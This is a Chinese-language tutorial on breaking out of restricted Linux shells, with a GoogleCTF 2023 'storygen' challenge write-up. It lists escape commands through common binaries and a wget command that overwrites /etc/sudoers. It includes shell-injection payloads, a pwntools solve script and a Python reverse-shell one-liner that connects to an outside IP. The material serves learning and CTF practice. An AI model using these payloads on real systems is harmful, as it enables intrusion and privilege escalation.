Bash jail 绕过

 

前言

linux 中有很多受限的 shell,例如 rbash、rzsh、rksh,这些 shell 是一些具有限制功能的特殊 shell。它们通常用于实施系统安全策略,限制用户的行为和访问权限。例如禁止用户更改当前目录、禁止使用绝对路径执行命令、限制环境变量设置等。在一些命令注入的情况下,也会存在一些非常规的利用场景。

参考文章 Linux Restricted Shell Bypass - VK9 Security 和近期 googleCTF 2023 中遇到的题目,在此对绕过限制条件执行 shell 命令的利用方式进行一个总结。

信息收集

当我们处于一个受限的 shell 环境下,首先要做的就是尽可能多地收集环境信息。

确定当前 shell

可以通过输出 $0确定当前所处的 shell.

echo $0

寻找可用命令

从 PATH 中获取可执行文件可能存在的路径。

echo $PATH

获取到路径之后可以枚举路径下的可执行程序。

ls /usr/bin
ls /bin

需要注意其中是否存在 python、perl、ruby、expect 等编程语言相关的程序。

查找 SUID 文件

find / -path /proc -prune -o -path /sys -prune -o -path /dev -prune -o -perm -4000 -type f -print  2>/dev/null

检查是否可以枚举 sudo 命令

检查当前用户是否可以通过输入密码枚举 sudo 命令。

echo "xxxx" | sudo -S -l

检查重定向、管道符是否可用

echo 111 | base64
echo 111 > /tmp/1

检查"';${是否可用

常见利用

常见可执行程序

直接运行 /bin/bash

rbash 可能会限制对其他目录的访问,如果当前 shell 允许访问根目录,可以尝试直接运行 /bin/sh 或者 /bin/bash 切换 shell。

/bin/sh
/bin/bash

拷贝 /bin/bash

rbash 中可能会限制 cp 拷贝操作,但如果可以进行拷贝,则可以尝试将 /bin/sh 或者 /bin/bash 拷贝到当前目录。

cp /bin/bash .

ftp

ftp 中使用 !/bin/sh 可以切换到对应的 shell。

┌──(kali㉿kali)-[~]
└─$ echo $0    
/usr/bin/zsh
                                                                                                                    
┌──(kali㉿kali)-[~]
└─$ ftp
ftp> !/bin/sh
$ echo $0
/bin/sh
$ 

gdb

gdb 中也可以通过 !/bin/sh 切换到指定 shell

gdb
!/bin/bash

vim

vim
!/bin/bash or !/bin/sh or :set shell=/bin/bash

rvim

rvim
:python import os;os.system("/bin/bash")

scp

scp -S /path/your/script x y:

假设当前目录存在一个 test.sh

#!/bin/bash
touch /tmp/bbb

运行下面的命令可以无回显执行这个脚本:

scp -S ./test.sh x y:

awk

awk 的 system 关键字可以执行系统命令。BEGIN 是 awk 的特殊模式,用于在处理文本之前执行一次性的初始化操作。

awk 'BEGIN {system("/bin/sh")}'

find

find 的 exec 参数可以执行系统命令,下面的命令执行后,一旦匹配到 test,则会进入一次 sh

find / -name test -exec /bin/sh \;
find / -name test -exec /bin/whoami --help \;

mutt

mutt
!
/bin/sh

ed

└─$ ed
!'/bin/sh'
$ 

more

echo "111" | less
!'/bin/sh'

man

man ls
!'/bin/sh'

pinfo

pinfo ls
!
ls /etc

ssh

ssh 远程连接可以直接指定 shell

ssh username@IP -t '/bin/sh'
ssh username@IP -t "bash -noprifile"

假设当前目录存放了一个利用脚本 test.sh ,使用下面的命令可以无回显执行这个脚本:

ssh -o ProxyCommand="sh -c ./test.sh" 127.0.0.1

git

git help status
!/bin/sh

pico & nano

CTRL + T 可以直接执行 shell 命令

nano
CTRL + T
ls

env

env -S whoami --help

wget

远程下载,覆盖任意 sudoers 文件

wget http://127.0.0.1:8080/sudoers -O /etc/sudoers

sed

sed 的 exec 也可以执行命令 =

sed '1e exec "ls" "-al"'

利用语言解析引擎

expect

expect spawn sh
sh

python

python 可以直接导入 os 执行 sh

python -c '__import("os").system("/bin/sh")'

也可以通过 help 函数,breakpoint 函数进入 shell 环境。 输入 help() 之后进入 help 命令行,在输入一个模块进入该模块的帮助文档。

help> os

然后在输入 !sh 就可以拿到 /bin/sh, 输入 !bash 则可以拿到 /bin/bash

使用 - 可以进入交互式命令行。

python - 111

注意,下面的 payload 也可以执行。

python '-c__import__("os").system("ls")'

-c 参数可以直接连接 python 代码,如果某些场景只能输入一个参数,就可以通过这种方式传入。很多 linux 二进制都有这个特性,参数名可以直接连接参数值。例如 mysql

mysql -uroot -proot

php

php -a
exec("sh -i")

perl

perl -e 'exec "/bin/sh"' 

lua

lua
os.execute('/bin/sh')

ruby

irb
exec 'bin/sh'

参数注入场景

还有一些命令注入的场景,其限制在于限定了可执行程序,用户只能够输入参数,例如如下的代码:

<?php
system("tar ".escapeshellcmd($_GET['cmd']));
?>

上面的代码限定了只能够使用 tar 命令,用户的输入仅作为参数传入。

GTFOBins

GTFOBins 项目收集了大量 linux 中二进制程序的攻击利用,通常用于参数注入或者绕过受限 shell 环境执行命令,项目地址:GTFOBins,上面说到的命令几乎都有覆盖。

GoogleCTF 2023 storygen

这道题目提供的附件如下:

import time
import os

time.sleep(0.1)

print("Welcome to a story generator.")
print("Answer a few questions to get started.")
print()

name = input("What's your name?\n")
where = input("Where are you from?\n")

def sanitize(s):
  return s.replace("'", '').replace("\n", "")

name = sanitize(name)
where = sanitize(where)

STORY = """

#@NAME's story

NAME='@NAME'
WHERE='@WHERE'

echo "$NAME came from $WHERE. They always liked living there."
echo "They had 3 pets:"

types[0]="dog"
types[1]="cat"
types[2]="fish"

names[0]="Bella"
names[1]="Max"
names[2]="Luna"


for i in 1 2 3
do
  size1=${#types[@]}
  index1=$(($RANDOM % $size1))
  size2=${#names[@]}
  index2=$(($RANDOM % $size2))
  echo "- a ${types[$index1]} named ${names[$index2]}"
done

echo

echo "Well, I'm not a good writer, you can write the rest... Hope this is a good starting point!"
echo "If not, try running the script again."

"""


open("/tmp/script.sh", "w").write(STORY.replace("@NAME", name).replace("@WHERE", where).strip())
os.chmod("/tmp/script.sh", 0o777)

while True:
  s = input("Do you want to hear the personalized, procedurally-generated story?\n")
  if s.lower() != "yes":
    break
  print()
  print()
  os.system("/tmp/script.sh")
  print()
  print()

print("Bye!")

题目接收 name 和 where 两个参数的输入,替换内容后写入 /tmp/script.sh 并执行。

本地测试时可以使用 socat 进行部署。

socat tcp-l:6666,fork exec:"python chal.py",reuseaddr

题目中对单引号进行了过滤,因无法直接闭合变量 NAME 赋值语句,但脚本第一行可以拼接到 # 之后,可以通过 #!/bin/whoami 这样的形式注入命令。

注入之后,命令后方还存在一个's story,可以使用 \0 进行截断。

发送脚本如下:

#!/usr/bin/env python3
from pwn import *

context(os="linux", arch="amd64", log_level="debug")
proc_name = ""  # "./proc"
ld_path = ""  # "./ld-linux-x86-64.so.2"
libc_path = ""  # "./libc.so.6"
# ip_addr = "storygen.2023.ctfcompetition.com:1337"  # "node4.buuoj.cn:28354"
ip_addr = "127.0.0.1:6666"
# ++++++++++++++++++++++++++++++++++++++++
if len(ip_addr):
    p = remote(ip_addr.split(":")[0], int(ip_addr.split(":")[1]))
    if len(libc_path):
        libc = ELF(libc_path)
elif len(proc_name):
    elf = ELF(proc_name)
    if len(libc_path):
        if len(ld_path):
            p = process([ld_path, proc_name], env={"LD_PRELOAD": libc_path})
        else:
            p = process(proc_name, env={"LD_PRELOAD": libc_path})
        libc = ELF(libc_path)
    else:
        p = process(proc_name)
        libc = p.libc



# ++++++++++++++++++++++++++++++++++++++++
def int16(hexstr: str):
    return int(hexstr, 16)



def r(numb: int = None):
    return p.recv(numb)



def ru(delims: bytes):
    return p.recvuntil(delims, drop=True)



def ra():
    return p.recvall()



def s(data: bytes):
    return p.send(data)



def sa(delim: str, data: bytes):
    return p.sendafter(delim, data)



def sl(data: bytes):
    return p.sendline(data)



def sla(delim: str, data: bytes):
    return p.sendlineafter(delim, data)



def itr():
    return p.interactive()



def leak(desc: str, addr: int):
    return log.success(f"{desc} ==> {hex(addr)}")



def debug(gdbscript: str = "", terminal: str = ""):
    if terminal == "tmux":
        context.terminal = ["tmux", "splitw", "-h"]
    gdb.attach(p, gdbscript)
    pause()



# ++++++++++++++++++++++++++++++++++++++++
# debug("", "")

# fmt: off
# fmt: on


sla("What's your name?\n", b"!/bin/ls /\0'")
sla("Where are you from?\n", b"whoami")
sla("procedurally-generated story?\n", b"yes")

itr()

执行 ls \ 时可以枚举根目录,但执行 whoami 时无法得到回显,并且得到如下的错误输出:

/bin/whoami: extra operand ‘/tmp/script.sh’
Try '/bin/whoami --help' for more information.

错误的原因在于这种场景下执行的脚本,会将脚本名 /tmp/script.sh 作为最后一个参数传入。 使用 echo 可以观察所有参数:

sla("What's your name?\n", b"!/bin/echo aaa\0'")

# aaa /tmp/script.sh

远程环境中,执行 cat /flag 会提示要求执行 /get_flag,执行后发现需要传入参数 Give flag please, 但直接执行总会副加上 /tmp/script.sh 这个参数而导致失败:

sla("What's your name?\n", b"!/get_flag Give flag please\0'")

这样的环境也可以视为一个受限的环境,利用 awk、env 等命令包装一层就可以排除额外参数的干扰。 payload 如下:

sla("What's your name?\n", b"!/usr/bin/awk BEGIN {system(\"/get_flag Give flag please\")}\0'")

也可以使用 env -S

sla("What's your name?\n", b"!/usr/bin/env -S /get_flag Give flag please\0'")

本地测试时发现可以使用 python 直接进入交互式命令行.

sla("What's your name?\n", b"!/usr/bin/python3 -\0")

输入反弹 shell payload

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.137.98",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")

结束 pwntools 的交互之后,可以接收到反弹 shell

connect to [192.168.137.98] from (UNKNOWN) [192.168.137.98] 53464
$ ls

但这种方式在目标上无法成功,原因不详。

除了交互式命令行,也可以使用 -c,但注意需要将 -c 与 python 代码连接在一起,作为一个参数进行传入.

sla("What's your name?\n", b"!/usr/bin/python -c__import__(\"os\").system(\"/get_flag Give flag please\")\0'")

参考资料